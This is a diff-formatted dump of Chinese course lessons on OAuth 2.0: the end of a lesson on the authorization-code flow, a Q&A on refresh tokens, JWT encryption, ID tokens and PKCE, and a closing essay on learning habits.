+　　对于授权码 code 的值，一般建议的最长生命周期是 10 分钟。另外，小兔打单软件只能被允许使用一次该授权码的值，如果使用一次之后还用同样的授权码值来请求，授权服务必须拒绝。
+
+　　对于这次的 state 值，授权服务每次都是必须要返回给小兔打单软件的。无论小兔打单软件在起初的时候有没有发送该值，都必须返回回去，如果没有就返回空。这样当小兔打单软件日后升级增加该值的时候，京东商家开放平台就不需要改动任何代码逻辑了。
+
+　　在拿到授权码 code 的值之后，接下来就是小兔打单软件向京东商家开放平台的授权服务的令牌端点发起请求，申请访问令牌。这个过程中需要传递的基本参数，如下：
+
+　　
+
+　　图9 申请访问令牌需要传递的基本参数
+
+　　在授权服务接收到小兔打单软件申请访问令牌的请求后，像授权端点一样，令牌端点也需要向小兔打单软件做出响应。这个过程涉及到的基本参数，如下：
+
+　　
+
+　　图10 令牌端点响应小兔软件涉及的参数
+
+　　对于这里返回的 scope 值，我要强调下，其实就是小兔软件被允许的实际的权限范围，因为小明有可能给小兔软件授予了小于它在开放平台注册时申请的权限范围。比如，小兔打单软件申请了查询历史订单、查询当天订单两个 API 的权限，但小明可能只给小兔授权了查询当天订单 API 的权限。
+
+总结
+
+　　好了，这一讲就要结束了。我们一起学习了开放平台体系的整体结构和授权流程，以及第三方软件开发者关心的对接开放平台的通信流程中需要传递的参数。现在，我希望你能记住以下三点内容。
+
+　　当有多个受保护资源服务的时候，基本的鉴权工作，包括访问令牌的验证、第三方软件应用信息的验证都应该抽出一个 API 网关层，并把这些基本的工作放到这个 API 网关层。
+
+　　各大开放平台都是推荐使用授权码许可流程，无论是网页版的 Web 应用程序，还是移动应用程序。
+
+　　对于第三方软件开发者重点关注的参数，可以从授权服务的授权端点和令牌端点来区分，授权端点重点是授权码请求和响应的处理，令牌端点重点是访问令牌请求和响应的处理。
+
+思考题
+
+　　在有了 API 网关这一层之后，API 网关向订单服务请求数据的时候，还是传递访问令牌 access_token 的值吗？如果不是的话，它传递的又是什么值呢？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/14查漏补缺：OAuth2.0常见问题答疑.md

@@ -0,0 +1,111 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            14 查漏补缺：OAuth 2.0 常见问题答疑
+                            　　你好，我是王新栋。
+
+　　从 6 月 29 日这门课上线，到现在已经过去一个多月了。我看到了很多同学的留言，有思考，也有提出的问题。那我首先，在这里要感谢你对咱们这门课的支持、鼓励和反馈。
+
+　　在回复你们的留言时，我也把你们提出的问题记了下来。在梳理今天这期答疑的时候，我又从头到尾看了一遍这些问题，也进一步思考了每个问题背后的元认知，最后我归纳出了 6 个问题：
+
+　　使用了 HTTPS，是不是就能确保 JWT 格式令牌的数据安全？
+
+　　接下来，我们就一一看看这些问题吧。
+
+发明 OAuth 的目的到底是什么？
+
+　　OAuth 协议的设计初衷，就是让最终用户也就是资源拥有者（小明），将他们在受保护资源服务器（京东商家开放平台）上的部分权限（查询当天订单）委托给第三方应用（小兔打单软件），使得第三方应用（小兔）能够代表最终用户（小明）执行操作（查询当天订单）。
+
+　　这便是 OAuth 协议设计的目的。在 OAuth 协议中，通过为每个第三方软件和每个用户的组合分别生成对受保护资源具有受限的访问权限的凭据，也就是访问令牌，来代替之前的用户名和密码。而生成访问令牌之前的登录操作，又是在用户跟平台之间进行的，第三方软件根本无从得知用户的任何信息。
+
+　　这样第三方软件的逻辑处理就大大简化了，它今后的动作就变成了请求访问令牌、使用访问令牌、访问受保护资源，同时在第三方软件调用大量 API 的时候，不再传输用户名和密码，从而减少了网络安全的攻击面。
+
+　　从安全的角度来讲，为每个第三方软件和每个用户的组合来生成一个访问令牌的方式，可以减少对平台更多用户造成的危害。因为这样一来，单个第三方软件被攻破而带来的危害，仅仅会让这一个第三方软件的用户受到影响。
+
+　　那么有的同学就要会问了，这样攻击的对象就会转移到授权服务身上。这个想法没错，但保护一个授权服务肯定要比保护成千上万个、由不同研发人员开发的第三方软件容易得多。
+
+OAuth 2.0 是身份认证协议吗？
+
+　　在这门课中，我其实一直在强调，OAuth 2.0 是一种授权协议，“它一心只专注于干好授权这件事儿”，OAuth 2.0 不是身份认证协议。但实际上，我在刚开始学习 OAuth 2.0 的时候，也曾错误地认为它是身份认证协议。
+
+　　因为我当时觉得，有用户参与其中，比如小明在使用小兔打单软件之前，要向授权服务进行登录操作从而进行身份认证 ，那 OAuth 2.0 就应该是一个身份认证协议啊。
+
+　　但是，小明必须登录之后才能进行授权，是一个额外的需求，登录跟授权体系是独立的。虽然登录操作看似“内嵌”在了 OAuth 2.0 的流程中，但生产环境中登录和授权还是两套独立存在的系统。所以说，像这种“内嵌”的身份认证行为，并不是说 OAuth 2.0 自身承担起了身份认证协议的责任。
+
+　　同时，身份认证会告诉第三方软件当前的用户是谁，但实际上 OAuth 2.0 自始至终都没有向第三方软件透露过关于用户的任何信息。这一点，我们在讲发明 OAuth 协议的目的时也提到过。我们可以再想想小兔打单软件的例子，看是不是这样：小兔打单软件永远也不会知道小明的任何信息，它仅仅是请求访问令牌，使用访问令牌并最终调用查询订单的 API。
+
+有了刷新令牌，是不是就可以让访问令牌一直有效了？
+
+　　要回答这个问题，我们先复习下访问令牌和刷新令牌相关的几个知识点吧。
+
+　　第一，OAuth 2.0 的核心是授权，授权的核心是令牌，也就是我们说的访问令牌。
+
+　　第二，在[第 3 讲]中我们提到，为了提高用户的体验，OAuth 2.0 提供了刷新令牌的机制，使得访问令牌过期后，第三方软件在无需用户再次授权的情况下，可以重新请求一个访问令牌。
+
+　　第三，在使用上，刷新令牌只能用在授权服务上，而访问令牌只能用在受保护资源服务上。
+
+　　有了这些知识做基础，我们可以继续分析“有了刷新令牌，是不是就可以让访问令牌一直有效”这个问题了。
+
+　　当访问令牌被 “递给” 受保护资源服务的时候，受保护资源服务需要对访问令牌进行验证，还要对访问令牌关联的权限和第三方软件的请求进行权限匹配校验。当访问令牌过期的时候，我们使用刷新令牌请求到的访问令牌，是授权服务重新生成的，而不是延长了原访问令牌的有效期。
+
+　　当前的这个刷新令牌被使用之后，授权服务可以自行决定是颁发一个新的刷新令牌，还是仍然给第三方软件返回上一个刷新令牌。安全起见，我们的建议是返回一个新的刷新令牌。这时，你可能就有一个疑问了：第三方软件已经换了一个访问令牌了，刷新令牌又一直存在，那是不是就可以一直使用刷新令牌来获取访问令牌了呢？
+
+　　要解决这个疑问，我们要知道的是，刷新令牌也有有效期。尽管生成了新的刷新令牌，但它的有效期不会改变，有效期的时间戳仍然是上一个刷新令牌的。刷新令牌的有效期到了，就不能再继续用它来申请新的访问令牌了。
+
+使用了 HTTPS，是不是就能确保 JWT 格式令牌的数据安全？
+
+　　OAuth 2.0 的使用从来都不应该脱离 HTTPS。因为访问令牌、应用密钥敏感信息要在网络上传输，都离不开 HTTPS 的保护。但是，HTTPS 也只是保证了访问令牌等重要信息在网络传输上的安全。
+
+　　在 OAuth 2.0 的规范中，访问令牌对第三方软件是不透明的，从来都不应该被任何第三方软件解析到。由于 JWT 格式的令牌自包含了用户相关的信息，比如用户标识，因此仅仅对它进行签名还不够。要避免第三方软件有机会获取访问令牌所包含的信息，那我们在与第三方软件交互的环境下使用 JWT 格式的令牌时，还要对它进行加密来保障令牌的安全，而不是仅仅依靠 HTTPS。
+
+ID 令牌和访问令牌之间有联系吗？
+
+　　在[第 9 讲]中，我们在用 OAuth 2.0 实现一个 OpenID Connect 身份认证协议的时候，讲到了 ID 令牌。在这一讲的后面，有同学还是不太清楚 ID 令牌和访问令牌是啥关系，当时我就在留言区做了回复。现在，我重新整理了思路再和你解释一下，因为认识到 ID 令牌和访问令牌的联系与区别，对我们利用 OAuth 2.0 搭建一个身份认证协议来说太重要了。
+
+　　我们先来总结下 ID 令牌和访问令牌的作用：
+
+　　ID 令牌，也就是 ID_TOKEN，代表的是用户身份令牌，可以说是一个单独的身份认证结果，永远不会像访问令牌那样作为一个参数，去传递给其它外部服务；
+
+　　访问令牌，也就是 ACCESS_TOKEN，就是一个令牌，是要被第三方软件用来作为凭证，从而代表用户去请求受保护资源服务的。
+
+　　你看，这两种令牌是截然不同的。接下来，我们就分析下，它们的区别都体现在哪些方面吧。
+
+　　第一，ID 令牌是对访问令牌的补充，而不是要替换访问令牌。之所以采用这样双令牌的方式，就是想让早先存在的访问令牌，可以在 OAuth 2.0 中继续保持对第三方软件的不透明性，而让后来新增的 ID 令牌要能够被解析，目的就是方便应用到身份认证协议中。
+
+　　第二，ID 令牌和访问令牌有不同的生命周期，ID 令牌的生命周期相对来说更短些。因为 ID 令牌的作用就是代表一个单独的身份认证结果，它的使命就是用来标识用户的。而这个标识并不是用户名，用户登录的时候用的是用户名而不是这个 ID 令牌，所以如果用户注销或者退出了登录，ID 令牌的生命周期就随之结束了。
+
+　　访问令牌可以在用户离开后的很长时间内，继续被第三方软件用来请求受保护资源服务。比如，小明使用了小兔打单软件的批量导出订单功能，如果耗时相对比较长，小明不必一直在场。
+
+PKCE 协议到底解决的是什么问题？
+
+　　我们在[第 7 讲]中学习 PKCE 协议时，我看到了大家对这个协议的很多留言，有的是自己的思考，有的是问题的进一步讨论。我们要理解 PKCE 协议到底解决了什么问题，就要先看一下它被推出的背景。
+
+　　2012 年 10 月 OAuth 2.0 的正式授权协议框架，也就是官方的 RFC 6749 被正式发布，2015 年 9 月增补了 PKCE 协议，也就是官方的 RFC 7636。从时间上来看，从正式发布 OAuth 2.0 授权协议到增补发布了 PKCE 协议，整整间隔了三年，而这三年恰恰是移动应用蓬勃发展的时期。
+
+　　同时，在原生的移动客户端应用保存秘钥又存在特殊的安全问题，使用 OAuth 2.0 授权码许可类型的客户端又容易受到授权码窃听的攻击。
+
+　　所以，PKCE 被增补发布的背景是，移动应用大力发展，同时原生客户端使用 OAuth 2.0 面临着安全风险。这样我们就能理解了，发布 PKCE 协议的目的，主要就是缓解针对公开客户端的攻击，提高授权码使用的安全性。
+
+总结
+
+　　今天，我们专门用一节课来统一回答了 OAuth 2.0 的共性问题。我再来总结下你需要掌握的知识点：
+
+　　OAuth 协议被发明的目的，就是用令牌代替用户名和密码。
+
+　　OAuth 2.0 不能被直接用来“从事”身份认证协议的“工作”。虽然 OAuth2.0 的使用要求是在 HTTPS 的环境下，但这并不能解决 JWT 令牌对第三方软件“不透明”的问题，还需要进行加密。
+
+　　有了刷新令牌也不能让访问令牌一直有效下去，因为刷新令牌也有有效期。
+
+　　ID 令牌是对访问令牌的补充，而不是要替代访问令牌。
+
+　　PKCE 是 OAuth 2.0 的一个增补协议，主要用来缓解授权码被窃听的安全风险。
+
+　　或许你在学习和实践 OAuth 2.0 时还会遇到其他问题，但不用担心，我们的留言区一直在，我也继续在留言区等着你，来回复你关心的、遇到的问题。
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他使用 OAuth 2.0 的朋友，我们一起精进。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/结束语把学习当成一种习惯.md

@@ -0,0 +1,67 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            结束语 把学习当成一种习惯
+                            　　结束语 把学习当成一种习惯## 结束语 把学习当成一种习惯
+
+　　你好，我是王新栋。
+
+　　当你来到这节课的时候，我们的课程已经接近尾声，相信你在课程的学习中都有所收获。在最后的这节课，我想跟你谈一谈如何学习 OAuth 2.0 这门技术。
+
+　　在谈起如何学习这个话题的时候，我很愿意跟你分享我的一些经历和经验。我个人认为，学习从来都不是一件容易的事情，夸张一点讲有点“反人性”。你想啊，谁不愿意，在工作忙碌了一天后，晚上回家多陪陪家人；又有谁不愿意，到了周末去找几个朋友打打篮球或者陪女朋友看看电影呢。但是，学习一定要养成一种习惯。我在《程序员思维修炼》这本书中读到这么一段话，分享给你：
+
+　　知识投资也是一样。你需要定期投资最低限度的时间量。养成一种习惯，如果需要的话。躲到你的家庭办公室里去或者走进有无线网络的咖啡厅。并非每期学习都同样富有成效，但是只要定期安排学习，长期来看一定会成功。如果你一直在等待空闲时间或者等待灵感的突现，那么它永远都不会发生。
+
+　　在具备了上面所述的“定力”以后，我再和你谈一谈具体的学习方法。
+
+　　我按照层次由低到高把学习分为基础学习、分析学习和主题学习：
+
+　　基础学习，就是从知识点最基本的理论开始学习；
+
+　　分析学习，就是对知识的结构脉络做梳理，并带着问题去学习；
+
+　　主题学习，就是对同一个知识点，分别找到不同的资料来学习。
+
+　　这样看，基础学习和分析学习属于“点”的学习，而主题学习就属于“面”的学习，整体下来就是从点到面构建知识网络的过程。接下来，我就和你说说 OAuth 2.0 的学习，是怎么对应到这三个层次的。
+
+　　在基础学习的过程中，我们要学习 OAuth 2.0 的四种基本角色，包括资源拥有者（也就是用户）、客户端（也就是第三方软件）、授权服务、受保护资源服务；还要学 OAuth 2.0 的四种基本授权许可类型，包括授权码许可类型、隐式许可类型、客户端凭据许可类型、资源拥有者凭据许可类型。
+
+　　当确定了基础学习阶段的学习范围之后，我们就要将这些角色带入到每个许可类型中，让这些角色“转起来”，这时你就可以像我一样用小明使用小兔打单软件的例子串起整个 OAuth 2.0 的工作流程。
+
+　　在分析学习的过程中，我们就需要将 OAuth 2.0 的知识体系结构进行一个梳理，同时把学习时遇到的问题都列出来，然后逐一分析。这些问题可能是：为什么授权码许可流程一定要有授权码，为什么授权码许可一定要有两次重定向，如何管理 JWT 格式的令牌的生命周期，当访问令牌失效了一定要让用户重新授权吗，刷新令牌会一直有效吗，ID 令牌和访问令牌之间有联系吗，等等。
+
+　　在主题学习的过程中，我们可以把要重点理解的内容当成一个主题，去“横向”地学习。怎么才能叫做横向呢？比如，要知道 PKCE 到底解决了什么问题，那么你就可以把 PKCE 当成一个主题来学习，你要去查阅跟它相关的任何资料，可以找 OAuth 2.0 的官方文档，可以看咱们的专栏，也可以看其它与之相关的书籍等等。总之，这是你的一个“研究方向”。
+
+　　在掌握了基础学习、分析学习和主题学习这三个层次的学习方法之后，我还有一招儿，就是配合 “输出倒逼输入”来加强学习效果。
+
+　　有一天我在图书馆看书时，回想起自己这些年在公司内外做分享和写书的经历，猛然间脑子里面蹦出了“输出倒逼输入”这个词儿，一下子想通了输出对于技术学习的重要性。再后来，我刷朋友圈里别人分享的文章时，也看到了这个词。再到后来，我在读《如何阅读一本书》时，看到了其中有这样一句话“阅读与写作的互惠”，又再次印证了这一点。
+
+　　那我再分享自己的一个小故事吧。有一年 618 刚结束，京东大学的同事就来找我，问我愿不愿意做一次 618 大促备战的复盘分享，而且要在一周内准备好要分享的内容。虽然时间很紧张，我也不知道自己要分享什么内容，甚至连思路都还不清晰，但我还是毫不犹豫地答应了下来。输出倒逼输入嘛。
+
+　　在接下来的准备时间里，我从要备战内容的点点滴滴，到系统黄金流程的识别过程，再到人员的培训，分别进行了梳理，逐渐形成了自己的一套备战方法论，完成了那次的大促复盘分享，也获得了同事们的很多正反馈。
+
+　　你看，要不是因为有“输出”的逼迫感，我可能就不会去做这个复盘，也不会沉淀自己的方法论。正所谓备战在平时，后来我和团队就把这套备战方法论落到了日常工作中，时刻保证着系统的稳定运行。
+
+　　这就让我无比坚信，“输出倒逼输入”是一个绝好的学习方式。
+
+　　那具体到我们的课程中，该怎么运用这个方法呢？
+
+　　最简单的，自然就是留言了。永远不要觉得看完文章就是学会了，要知道，任何一种思想都不可避免地带有局限性，想要拥有更高维度的见解，前提是你见识过足够多、足够好的东西。
+
+　　因此，你要多输出自己的想法，抛出引子，比如你对某些内容的深入思考、你在工作中积累的独特经验，甚至是你对我的一些观点的质疑，等等。我和其他同学看到了你的留言，也会和你讨论，我们的思想交叠碰撞，你的知识厚度必定会有所增加。
+
+　　除了零碎的留言，你还可以进行系统的梳理，制作一些思维导图、PPT，或者是写成文章，在公司内部做一场分享。最后，你得到的是一套知识体系，同时也可以增加你在公司里的“出镜率”，这是不是一举多得呢？
+
+　　当然，这种方式绝不仅限于咱们课程的学习，希望你总能积极地向外传达你的想法。带着惊喜的输出亮相，理所当然地会得到未知的惊喜。
+
+　　到这里，我们相伴而行的时光也就接近尾声了，接下来，我们要回归各自的赛道了。在此之前，我很想很想跟你说一句“敬佩”。
+
+　　你不知道的是，在你坚持学习的时候，有很多人都掉了队，站在终点回头去看，不知不觉中你就成为了极少数人。放大到整个人生去看，只要持续走极少数人走的路，你就能成为极少数人。
+
+　　“将每一个忙碌、充实的日子，累积成酣畅淋漓的生命”，希望我们都能活到淋漓，与你共勉。
+
+                        
+                        
+